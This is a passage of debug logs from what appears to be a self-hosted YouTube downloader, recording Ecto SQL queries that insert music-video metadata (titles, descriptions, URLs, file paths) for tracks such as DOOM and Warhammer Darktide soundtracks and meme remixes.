RAVE WEAPON\nYou know the meme… but NOT like this.\n\n🎬 Original meme by @slackcircus ❤❤\n\nListen here: https://on.soundcloud.com/xCpkmyDwyEuJyb5OWo\n\n🔊 Expect:\n\n* heavy industrial kicks\n* distorted bass\n* aggressive techno drop\n* cursed meme energy\n\n🎧 Perfect for:\ngym, rave, underground parties, late night drives\n\n👇 If you stayed for the drop… you're one of us.\n\n#hardtechno #industrialtechno #memeremix #technoremix #rave #darktechno #viral #tiktoktechno #2026 \n\nheyyeyaaeyaaa remix, meme techno remix, hard techno meme, industrial techno remix 2026, viral meme remix, rave techno, dark techno, techno remix, gym techno, underground techno, distorted techno, tiktok techno, hard rave, cursed remix, slackcircus meme", "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈", "909c426a-7fea-46c2-84f0-78d13223f030", false, "4f62aPr49gE", 203, false, "https://www.youtube.com/watch?v=4f62aPr49gE", 3, "/downloads/Grift/Grift/2026-04-12HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈[4f62aPr49gE].m4a", false, false, 4, [], 1, ~U[2026-04-12 19:05:21Z], ~U[2026-07-24 02:21:32Z], ~U[2026-07-24 02:21:32Z], "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈\n\n💀 MEME VERSION – this viral classic just turned into a DARK RAVE WEAPON\nYou know the meme… but NOT like this.\n\n🎬 Original meme by @slackcircus ❤❤\n\nListen here: https://on.soundcloud.com/xCpkmyDwyEuJyb5OWo\n\n🔊 Expect:\n\n* heavy industrial kicks\n* distorted bass\n* aggressive techno drop\n* cursed meme energy\n\n🎧 Perfect for:\ngym, rave, underground parties, late night drives\n\n👇 If you stayed for the drop… you're one of us.\n\n#hardtechno #industrialtechno #memeremix #technoremix #rave #darktechno #viral #tiktoktechno #2026 \n\nheyyeyaaeyaaa remix, meme techno remix, hard techno meme, industrial techno remix 2026, viral meme remix, rave techno, dark techno, techno remix, gym techno, underground techno, distorted techno, tiktok techno, hard rave, cursed remix, slackcircus meme", "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈", "4f62aPr49gE", 203, false, "https://www.youtube.com/watch?v=4f62aPr49gE", "/downloads/Grift/Grift/2026-04-12HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈[4f62aPr49gE].m4a", false, 4, ~U[2026-04-12 19:05:21Z]] 22:21:33.075 [debug] QUERY OK source="sources" db=0.2ms idle=349.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:33.118 [debug] QUERY OK source="media_items" db=43.0ms idle=185.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-02-19 02:04:56Z], 4] 22:21:33.322 [debug] QUERY OK source="media_items" db=203.3ms idle=200.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Porque no hay imposibles para la musica, Les traigo este mix que hice de este epico tema espero sea de su agrado.\nNo olviden compartir en sus redes y dar Like Saludos.", "Regular Show Gary vs David BEST Clean Extended Mix", "adcba893-3740-406f-b257-e168e1b0e9ee", false, "EaCUyNQWY2M", 204, false, "https://www.youtube.com/watch?v=EaCUyNQWY2M", 4, "/downloads/Grift/Grift/2017-02-19Regular Show Gary vs David BEST Clean Extended Mix[EaCUyNQWY2M].m4a", false, false, 4, [], 1, ~U[2017-02-19 02:04:56Z], ~U[2026-07-24 02:21:33Z], ~U[2026-07-24 02:21:33Z], "Porque no hay imposibles para la musica, Les traigo este mix que hice de este epico tema espero sea de su agrado.\nNo olviden compartir en sus redes y dar Like Saludos.", "Regular Show Gary vs David BEST Clean Extended Mix", "EaCUyNQWY2M", 204, false, "https://www.youtube.com/watch?v=EaCUyNQWY2M", "/downloads/Grift/Grift/2017-02-19Regular Show Gary vs David BEST Clean Extended Mix[EaCUyNQWY2M].m4a", false, 4, ~U[2017-02-19 02:04:56Z]] 22:21:33.323 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=404.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:33.324 [debug] QUERY OK source="media_items" db=0.6ms idle=249.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-04-27 21:20:44Z], 4] 22:21:33.534 [debug] QUERY OK source="media_items" db=208.2ms idle=250.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["NOW OVER 100K VIEWS!! IS THIS STILL REAL LIFE?! THIS IS MY FIRST AND ONLY VIDEO TO REACH THIS COUNT! THANKS FOR THE VIEWERSHIP EVERYONE!!!!! \\o/\n\n**DISCLAIMER** This AMV is made with non-profit and does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\nOPENING STRONG IN 2017!!!! Finally back in business baby!!\n\nAnd for real, if you see the Artist; Perturbator, tell him/her that I got his/her official music video right here!\n\nI fucking, love, this song. Who would have thought that finishing Wolfenstein - The New Order on a Friday morning could lead me to wonderful musical discoveries on the You Tubes?! I mean, I also discovered that Kirsten Dunst made a music video waaaaaaay back in 2010!!! Who woulda thought that eh?\n\nI must have listened to this tune 4,000 times upon discovery last weekend. I consider it to be amongst the best songs I have heard in my entire life and it immediately inspired me to make an AMV with it. Fellow 1980s born peeps will instantly recognise my use of the setting of Bubble Gum Crisis 2033 (not 2040, we do not ever mention that abomination). Out of all the episodes, I made use of the tale of \"Revenge Road\", which I thought goes very well with Perturbator's \"Venger\" theme. I may have altered the natural plot of the anime to fit the song's narrative but I reckon it's worth it. So yeah, please enjoy this video. I already consider it one of my all time best.\n\nPS: I love Greta Link's voice. Whouuuuuuuuuu!! XD\n\nPreceded by:\n\nMardock Scramble Vs Overseer - Sparks\nhttps://www.youtube.com/watch?v=v4SJq_S44b0\n\nMy AMV playlist:\nhttps://www.youtube.com/playlist?list=PL933BAD8E68DF77FB", "Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV]", "e5807c6c-f19b-4f46-8d7a-7516f68a1762", false, "Y2PUCc7djLc", 320, false, "https://www.youtube.com/watch?v=Y2PUCc7djLc", 5, "/downloads/Grift/Grift/2017-04-27Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV][Y2PUCc7djLc].m4a", false, false, 4, [], 1, ~U[2017-04-27 21:20:44Z], ~U[2026-07-24 02:21:33Z], ~U[2026-07-24 02:21:33Z], "NOW OVER 100K VIEWS!! IS THIS STILL REAL LIFE?! THIS IS MY FIRST AND ONLY VIDEO TO REACH THIS COUNT! THANKS FOR THE VIEWERSHIP EVERYONE!!!!! \\o/\n\n**DISCLAIMER** This AMV is made with non-profit and does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\nOPENING STRONG IN 2017!!!! Finally back in business baby!!\n\nAnd for real, if you see the Artist; Perturbator, tell him/her that I got his/her official music video right here!\n\nI fucking, love, this song. Who would have thought that finishing Wolfenstein - The New Order on a Friday morning could lead me to wonderful musical discoveries on the You Tubes?! I mean, I also discovered that Kirsten Dunst made a music video waaaaaaay back in 2010!!! Who woulda thought that eh?\n\nI must have listened to this tune 4,000 times upon discovery last weekend. I consider it to be amongst the best songs I have heard in my entire life and it immediately inspired me to make an AMV with it. Fellow 1980s born peeps will instantly recognise my use of the setting of Bubble Gum Crisis 2033 (not 2040, we do not ever mention that abomination). Out of all the episodes, I made use of the tale of \"Revenge Road\", which I thought goes very well with Perturbator's \"Venger\" theme. I may have altered the natural plot of the anime to fit the song's narrative but I reckon it's worth it. So yeah, please enjoy this video. I already consider it one of my all time best.\n\nPS: I love Greta Link's voice. Whouuuuuuuuuu!! XD\n\nPreceded by:\n\nMardock Scramble Vs Overseer - Sparks\nhttps://www.youtube.com/watch?v=v4SJq_S44b0\n\nMy AMV playlist:\nhttps://www.youtube.com/playlist?list=PL933BAD8E68DF77FB", "Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV]", "Y2PUCc7djLc", 320, false, "https://www.youtube.com/watch?v=Y2PUCc7djLc", "/downloads/Grift/Grift/2017-04-27Bubble Gum Crisis Vs Perturbator - Venger (Feat. Greta Link) [AMV][Y2PUCc7djLc].m4a", false, 4, ~U[2017-04-27 21:20:44Z]] 22:21:33.535 [debug] QUERY OK source="sources" db=0.5ms idle=212.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:33.535 [debug] QUERY OK source="media_items" db=0.3ms idle=211.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-07 14:56:54Z], 4] 22:21:33.753 [debug] QUERY OK source="media_items" db=217.5ms idle=211.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nImmortal Imperium · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Immortal Imperium", "d132a381-bee2-49b0-8240-c5854d1a1776", false, "Q_mBrKIHfx8", 234, false, "https://www.youtube.com/watch?v=Q_mBrKIHfx8", 6, "/downloads/Grift/Grift/2024-05-07Immortal Imperium[Q_mBrKIHfx8].m4a", false, false, 4, [], 2, ~U[2024-05-07 14:56:54Z], ~U[2026-07-24 02:21:33Z], ~U[2026-07-24 02:21:33Z], "Provided to YouTube by IIP-DDS\n\nImmortal Imperium · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Immortal Imperium", "Q_mBrKIHfx8", 234, false, "https://www.youtube.com/watch?v=Q_mBrKIHfx8", "/downloads/Grift/Grift/2024-05-07Immortal Imperium[Q_mBrKIHfx8].m4a", false, 4, ~U[2024-05-07 14:56:54Z]] 22:21:33.754 [debug] QUERY OK source="sources" db=0.2ms idle=220.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:33.754 [debug] QUERY OK source="media_items" db=0.1ms idle=219.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-05-07 14:56:53Z], 4] 22:21:33.993 [debug] QUERY OK source="media_items" db=238.1ms idle=219.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nDisposal Unit (Imperium Mix) · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Disposal Unit (Imperium Mix)", "8fa9120a-52ac-40d3-8c57-40c8e4b414f5", false, "Ni3CazygOh4", 213, false, "https://www.youtube.com/watch?v=Ni3CazygOh4", 7, "/downloads/Grift/Grift/2024-05-07Disposal Unit (Imperium Mix)[Ni3CazygOh4].m4a", false, false, 4, [], 2, ~U[2024-05-07 14:56:53Z], ~U[2026-07-24 02:21:33Z], ~U[2026-07-24 02:21:33Z], "Provided to YouTube by IIP-DDS\n\nDisposal Unit (Imperium Mix) · Jesper Kyd\n\nWarhammer 40,000: Darktide (Original Soundtrack)\n\n℗ Games Workshop Limited under license to Laced Music Ltd t/a Laced Records\n\nReleased on: 2022-11-18\n\nMusic Publisher: Games Workshop Limited\nComposer: Jesper Kyd\n\nAuto-generated by YouTube.", "Disposal Unit (Imperium Mix)", "Ni3CazygOh4", 213, false, "https://www.youtube.com/watch?v=Ni3CazygOh4", "/downloads/Grift/Grift/2024-05-07Disposal Unit (Imperium Mix)[Ni3CazygOh4].m4a", false, 4, ~U[2024-05-07 14:56:53Z]] 22:21:33.993 [debug] QUERY OK source="sources" db=0.3ms idle=239.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:33.994 [debug] QUERY OK source="media_items" db=0.1ms idle=240.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-01-28 13:36:30Z], 4] 22:21:34.022 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Nightcore wagakki rock cover of the song Like A Prayer by Madonna 💛\n\nCharacter: Tachibana Kanade from Angel Beats!\n\nImages Used:\n\nhttps://www.pixiv.net/en/artworks/142431095\nhttps://www.pixiv.net/en/artworks/142682774\nhttps://www.pixiv.net/en/artworks/143450541\nhttps://www.pixiv.net/en/artworks/142394140\nhttps://www.pixiv.net/en/artworks/132205125\nhttps://www.pixiv.net/en/artworks/131285783\nhttps://www.pixiv.net/en/artworks/142637508\n\nCopyright Disclaimer\n\nThis is a cover version of a song originally performed and owned by its respective copyright holders. I do not own the rights to this music, images or lyrics. This edit is made for entertainment and artistic expression purposes only.\n\nAll rights belong to the original creators, composers, and publishers. No copyright infringement is intended.\n\n#nightcore #likeaprayer #madonna #wagakkirock #nightcorecover", "duration" => 226, "filename" => "/downloads/Nightcore/Nightcore/2026-05-22Nightcore – Like A Prayer | Wagakki Rock[zlFwo3T3UxU].m4a", "id" => "zlFwo3T3UxU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zlFwo3T3UxU", "playlist_index" => 4, "timestamp" => 1779444085, "title" => "Nightcore – Like A Prayer | Wagakki Rock", "upload_date" => "20260522"} 22:21:34.106 [debug] QUERY OK source="media_items" db=112.2ms idle=240.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#doom #doometernal #theonlythingtheyfearisyou #doomost", "Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs", "738cd020-012b-4ddf-9da6-69609fa55c69", false, "VK0jsNPJQy4", 375, false, "https://www.youtube.com/watch?v=VK0jsNPJQy4", 8, "/downloads/Grift/Grift/2023-01-28Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs[VK0jsNPJQy4].m4a", false, false, 4, [], 1, ~U[2023-01-28 13:36:30Z], ~U[2026-07-24 02:21:33Z], ~U[2026-07-24 02:21:33Z], "#doom #doometernal #theonlythingtheyfearisyou #doomost", "Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs", "VK0jsNPJQy4", 375, false, "https://www.youtube.com/watch?v=VK0jsNPJQy4", "/downloads/Grift/Grift/2023-01-28Mick Gordon - The Only Thing They Fear Is You (DOOM Eternal OST)+Dr.Elena Richardson's Audio Logs[VK0jsNPJQy4].m4a", false, 4, ~U[2023-01-28 13:36:30Z]] 22:21:34.107 [debug] QUERY OK source="sources" db=0.2ms idle=114.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:34.107 [debug] QUERY OK source="media_items" db=0.1ms idle=113.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-09-28 17:03:46Z], 4] 22:21:34.258 [debug] QUERY OK source="media_items" db=149.8ms idle=113.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["11. BFG Division\nDOOM Official Soundtrack\nDOOM developed by id Software and published by Bethesda/Zenimax.\nMusic written, produced and mixed by: Mick Gordon\n\nSOUNDTRACK AVAILABLE NOW:\niTunes: \nhttps://itunes.apple.com/us/album/doom-original-game-soundtrack/id1157733728#\nGoogle Play: \nhttps://play.google.com/store/music/album/Mick_Gordon_Doom_Original_Game_Soundtrack?id=Bprrws2k246zctacv56xhlfdz4m\nSpotify: \nhttps://open.spotify.com/album/0KQyC28P9808r0oKKNgHvp\n\nGUITAR: Mayones Regius 8. Swamp Ash/Maple Top, Ebony Fretboard, Bareknuckle Aftermath pickups. Tuned EAEADGBE.\n\nMick Gordon proudly uses Mayones Guitars exclusively.\nMayones Guitars & Basses, handmade in Poland since 1982.\nhttp://www.mayones.com/\n\nThis video makes use of the fabulous PhotoMode footage from DeathStalker. Check out his videos here: https://youtu.be/I87SxirxjA8\n________________________________________\n\nTwitter: https://twitter.com/Mick_Gordon\nFacebook: https://www.facebook.com/MickGordonMusic\nPurchase Doom here: doom.com\nSubscribe for more: http://bit.ly/1v0JG1G\nMick-Gordon.com", "Mick Gordon - 11. BFG Division", "ed721fa1-7bd3-40d0-bc00-ddf618b5ab58", false, "QHRuTYtSbJQ", 507, false, "https://www.youtube.com/watch?v=QHRuTYtSbJQ", 9, "/downloads/Grift/Grift/2016-09-28Mick Gordon - 11. BFG Division[QHRuTYtSbJQ].m4a", false, false, 4, [], 1, ~U[2016-09-28 17:03:46Z], ~U[2026-07-24 02:21:34Z], ~U[2026-07-24 02:21:34Z], "11. BFG Division\nDOOM Official Soundtrack\nDOOM developed by id Software and published by Bethesda/Zenimax.\nMusic written, produced and mixed by: Mick Gordon\n\nSOUNDTRACK AVAILABLE NOW:\niTunes: \nhttps://itunes.apple.com/us/album/doom-original-game-soundtrack/id1157733728#\nGoogle Play: \nhttps://play.google.com/store/music/album/Mick_Gordon_Doom_Original_Game_Soundtrack?id=Bprrws2k246zctacv56xhlfdz4m\nSpotify: \nhttps://open.spotify.com/album/0KQyC28P9808r0oKKNgHvp\n\nGUITAR: Mayones Regius 8. Swamp Ash/Maple Top, Ebony Fretboard, Bareknuckle Aftermath pickups. Tuned EAEADGBE.\n\nMick Gordon proudly uses Mayones Guitars exclusively.\nMayones Guitars & Basses, handmade in Poland since 1982.\nhttp://www.mayones.com/\n\nThis video makes use of the fabulous PhotoMode footage from DeathStalker. Check out his videos here: https://youtu.be/I87SxirxjA8\n________________________________________\n\nTwitter: https://twitter.com/Mick_Gordon\nFacebook: https://www.facebook.com/MickGordonMusic\nPurchase Doom here: doom.com\nSubscribe for more: http://bit.ly/1v0JG1G\nMick-Gordon.com", "Mick Gordon - 11. BFG Division", "QHRuTYtSbJQ", 507, false, "https://www.youtube.com/watch?v=QHRuTYtSbJQ", "/downloads/Grift/Grift/2016-09-28Mick Gordon - 11. BFG Division[QHRuTYtSbJQ].m4a", false, 4, ~U[2016-09-28 17:03:46Z]] 22:21:34.259 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=151.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:21:34.259 [debug] QUERY OK source="media_items" db=0.4ms idle=151.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-19 00:54:18Z], 4] 22:21:34.703 [debug] QUERY OK source="media_items" db=443.3ms idle=152.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#EpicMusic2025 #warhammer40k #warhammer \nWarhammer Darktide: Disposal Unit - Pianistec Cover\n\nThis is an epic orchestral cover of \"Disposal Unit (Imperium Mix)\" from Warhammer 40,000: Darktide, originally composed by Jesper Kyd. I actually found this theme through the \"Milky Way Sweep\" warhammer meme. At the end I merged it with the melody of \"His Angels\", originally composed by Cloud of Judgement.\n\n►Credits\n- Original Soundtrack by Jesper Kyd on Spotify: https://open.spotify.com/intl-de/track/3nZ7CNw1UD2qpsE4oBbZIE?si=23fd1d3e58e84ac7\n- Space Marine Army March Clip originally made by \"Erasmus Brosdau\"\n- Original Milky Way Sweep Meme Video: https://www.youtube.com/watch?v=B1rMvEYsMaM\n- Thanks to Nick, Jadzia and Lukas for helping me with the army and ethnic vocals.\n\n►If you want to support me, you can buy me a coffee here:\nhttps://www.buymeacoffee.com/pianistec\n\n►Or follow me on Patreon\nhttps://www.patreon.com/Pianistec\n\n►Terms of Usage\nIllegaly distributing or remixing my music is FORBIDDEN.\nIf you want to use the music, please have a look at the terms of usage:\nhttps://textdoc.co/XLspMhDGJNx4a7f3\n\n►All copyrights belong to their respective owners\nComposition: \n\"Disposal Unit (Imperium Mix)\" by Jesper Kyd\n\"His Angels\" by Cloud of Judgement\nShort Animation Clip by Erasmus Brosdau\nWallpaper: Created by AI ©Pianistec\n\n►I'm also making piano music, you can listen to it here: https://www.youtube.com/@BrothersOnPiano\n\n►Video made with FL Studio ZGameEditor Visualizer plugin\nEffect author credits: \nItsFullOfStars - Jph Wacheski http://jph_wacheski.itch.io/ \nColorBlobs - @paulofalcao\nLinear - StevenM,Dubswitcher,Youlean \nDubswitcher Linear Blur\nPeakmap - Dubswitcher\nRaindrops - Martijn Steinrucken @The_ArtOfCode \nFrameBlur - Cynex \nPolar - Kjell, Dubswitcher \n\n►Contact:\npianistec.contact@gmail.com\n\n►My frequently used libraries:\n- Composers Cloud + (EastWest)\n- Metropolis Ark 1 - 5 (Orchestral Tools)\n- Drum Ensembles (Heavyocity)\n- Damage 2 (Heavyocity)\n- Evolution: Devastator Warzone (Keepforest)\n- Jaeger (Audio Imperia)\n- Nucleus (Audio Imperia)\n- Solo (Audio Imperia)\n- Klavier (Audio Imperia)\n- Chorus (Audio Imperia)\n- Talos (Audio Imperia)\n- Oceania I & II (Performance Samples)\n- Pacific Strings (Performance Samples)\n- The Giant (Native Instruments)\n- Trailer Brass (MusicalSampling)\n- Strikeforce 2 (Laboratory Audio)\n- Woodchester Piano (Fracture Sounds)\n- Cinematic Studio Strings (Cinematic Studio Series)\n- Cinematic Studio Brass (Cinematic Studio Series)\n\n►Used Daw:\nFl Studio\n\n►Social Media:\nInstagram: https://instagram.com/pianistecmusic\n\n►Follow me on Spotify, iTunes, Amazon, etc:\nhttps://songwhip.com/pianistec\n\n►Follow me on 